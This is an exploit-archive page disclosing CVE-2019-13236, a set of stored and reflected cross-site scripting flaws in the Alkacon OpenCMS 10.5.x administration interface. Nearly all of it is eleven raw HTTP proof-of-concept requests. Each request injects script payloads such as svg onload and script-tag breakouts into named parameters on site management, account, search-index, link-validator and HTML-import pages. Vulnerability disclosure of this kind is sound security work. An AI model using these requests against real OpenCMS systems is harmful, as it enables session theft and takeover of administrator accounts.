what you don't know can hurt you

Alkacon OpenCMS 10.5.x Cross Site Scripting

Alkacon OpenCMS 10.5.x Cross Site Scripting
Posted Sep 2, 2019
Authored by Aetsu

Alkacon OpenCMS version 10.5.x suffers from a cross site scripting vulnerability in its site management functionality.

tags | exploit, xss
advisories | CVE-2019-13236
MD5 | 675ae0b7a5129ab86f65c89e2dd22a5a

Alkacon OpenCMS 10.5.x Cross Site Scripting

Change Mirror Download
# Exploit Title: Alkacon OpenCMS 10.5.x - Multiple XSS in Alkacon OpenCms Site Management
# Google Dork: N/A
# Date: 18/07/2019
# Exploit Author: Aetsu
# Vendor Homepage: http://www.opencms.org
# Software Link: https://github.com/alkacon/opencms-core
# Version: 10.5.x
# Tested on: 10.5.5 / 10.5.4
# CVE : CVE-2019-13236

1. In Site Management > New site (Stored XSS):
- Affected resource title.0:
POC:
```
POST /system/workplace/admin/sites/new.jsp HTTP/1.1
Host: example.com
title.0=%3Csvg+onload%3Dalert%28%27Title%27%29%3E&sitename.0=%3Csvg+onload%3Dalert%28%27Folder+name%27%29%3E&se
```
2. In Treeview (Reflected XSS):
- Affected resource type:
POC:
```
http://example.com/opencms/system/workplace/views/explorer/tree_fs.jsp?type=
</script><script>confirm(1)</script>&includefiles=true&showsiteselector=true&projectaware=false&treesite=
```
3. In Workspace tools > Login message (Stored XSS):
- Affected resource message.0:
POC:
```
POST /system/workplace/admin/workplace/loginmessage.jsp HTTP/1.1
Host: example.com
enabled.0=true&enabled.0.value=true&message.0=<svg
onload=alert(1)>&loginForbidden.0.value=false&ok=Ok&elementname=undefined&path=%252Fworkplace%252Floginmessage&elementindex=0&action=save&closelink=%252Fsystem%252Fworkplace%252Fviews%252Fadmin%252Fadmin-main.jsp%253Fpath%253D%252Fworkplace&style=new&page=page1&framename=
```
4. In Index sources > View index sources > New index source (Stored XSS):
- Affected resource name.0:
POC:
```
POST /system/workplace/admin/searchindex/indexsource-new.jsp HTTP/1.1
Host: example.com
name.0=%3Csvg+onload%3Dalert%28%27Name%27%29%3E&indexerClassName.0=org.opencms.search.CmsVfsIndexer&ok=Ok&elementname=undefined&path=%252Fsearchindex%252Findexsources%252Findexsource-new&elementindex=0&action=save&closelink=%252Fsystem%252Fworkplace%252Fviews%252Fadmin%252Fadmin-main.jsp%253Fpath%253D%252Fsearchindex%252Findexsources%2526action%253Dinitial&style=new&page=page1&framename=
```
5. In Index sources > View field configuration > New field configuration
(Stored XSS):
- Affected resource name.0:
POC:
```
POST /system/workplace/admin/searchindex/fieldconfiguration-new.jsp HTTP/1.1
Host: example.com
name.0=%3Csvg+onload%3Dalert%28%27Name%27%29%3E&ok=Ok&elementname=undefined&path=%252Fsearchindex%252Ffieldconfigurations%252Ffieldconfiguration-new&elementindex=0&action=save&closelink=%252Fsystem%252Fworkplace%252Fviews%252Fadmin%252Fadmin-main.jsp%253Fpath%253D%252Fsearchindex%252Ffieldconfigurations%2526action%253Dinitial&style=new&page=page1&framename=
```
6. In Account Management > Impor/Export user data (Reflected XSS):
- Affected resource oufqn:
POC:
```
POST /system/workplace/admin/accounts/imexport_user_data/export_csv.jsp
HTTP/1.1
Host: example.com
groups.0=Users&ok=Ok&oufqn=</script><script>confirm(1)</script>&elementname=undefined&path=%252Faccounts%252Forgunit%252Fimexport%252Fexportcsv&elementindex=0&action=save&closelink=%252Fsystem%252Fworkplace%252Fviews%252Fadmin%252Fadmin-main.jsp%253Fpath%253D%252Faccounts%252Forgunit%252Fimexport%2526action%253Dinitial&style=new&page=page1&framename=
```
7. In Account Management > Group Management > New Group (Stored XSS):
- Affected resources name.0 and description.0:
POC:```
POST /system/workplace/admin/accounts/group_new.jsp HTTP/1.1
Host: example.com
name.0=%3Cimg+src%3D.+onerror%3Dalert%28%27Name%27%29%3E&description.0=%3Cimg+src%3D.+onerror%3Dalert%28%27Description%27
```
8. In Account Management > Organizational Unit > Organizational Unit
Management > New sub organizational unit (Stored XSS):
- Affected resources parentOuDesc.0 and resources.0:
POC:```
POST /system/workplace/admin/accounts/unit_new.jsp HTTP/1.1
Host: example.com
name.0=%3Cimg+src%3D.+onerror%3Dalert%28%27Name%27%29%3E&description.0=%3Cimg+src%3D.+onerror%3Dalert%28%27D
```
9. In Link Validator > External Link Validator > Validate External Links
(Reflected XSS):
- Affected resources reporttype, reportcontinuekey and title:
POC:```
POST
/system/workplace/views/admin/admin-main.jsp?path=%2Flinkvalidation%2Fexternal%2Fvalidateexternallinks
HTTP/1.1
Host: example.com
dialogtype=imp&reporttype=extended66955%22%3balert(1)%2f%2f297&reportcontinuekey=&title=External%2BLink%2BValidation&path=%252Flinkvalidation%252Fexternal%252Fvalidateexternallinks&threadhasnext=&action=confirmed&closelink=%252Fsystem%252Fworkplace%252Fviews%252Fadmin%252Fadmin-main.jsp%253Fpath%253D%252Flinkvalidation%252Fexternal&style=new&framename=&ok=OK
```
10. In Administrator view > Database management > Extended html import >
Default html values (Reflected XSS):
- Affected resources destinationDir.0, imageGallery.0, linkGallery.0,
downloadGallery.0:
POC:```
POST /system/workplace/admin/database/htmlimport/htmldefault.jsp HTTP/1.1
Host: example.com
------WebKitFormBoundaryLyJOmAtrd8ArxNqf
Content-Disposition: form-data; name="inputDir.0"
.
------WebKitFormBoundaryLyJOmAtrd8ArxNqf
Content-Disposition: form-data; name="destinationDir.0"
/whbo0"><script>alert(1)</script>nrbhd
------WebKitFormBoundaryLyJOmAtrd8ArxNqf
Content-Disposition: form-data; name="imageGallery.0"
------WebKitFormBoundaryLyJOmAtrd8ArxNqf
Content-Disposition: form-data; name="downloadGallery.0"
------WebKitFormBoundaryLyJOmAtrd8ArxNqf
Content-Disposition: form-data; name="linkGallery.0"
[...]
```
11. In Administrator view > Database management > Extended html import >
Default html values (Reflected XSS):
- Affected resources destinationDir.0, imageGallery.0, linkGallery.0 and
downloadGallery.0:
POC:
```
POST /system/workplace/admin/database/htmlimport/htmlimport.jsp HTTP/1.1
Host: example.com
------WebKitFormBoundary6fy3ENawtXT0qmgB
Content-Disposition: form-data; name="inputDir.0"
gato
------WebKitFormBoundary6fy3ENawtXT0qmgB
Content-Disposition: form-data; name="destinationDir.0"
testszfgw"><script>alert(1)</script>vqln7
------WebKitFormBoundary6fy3ENawtXT0qmgB
Content-Disposition: form-data; name="imageGallery.0"
test
------WebKitFormBoundary6fy3ENawtXT0qmgB
Content-Disposition: form-data; name="downloadGallery.0"
test
------WebKitFormBoundary6fy3ENawtXT0qmgB
Content-Disposition: form-data; name="linkGallery.0"
test
[...]
```


Extended POCs: https://aetsu.github.io/OpenCms

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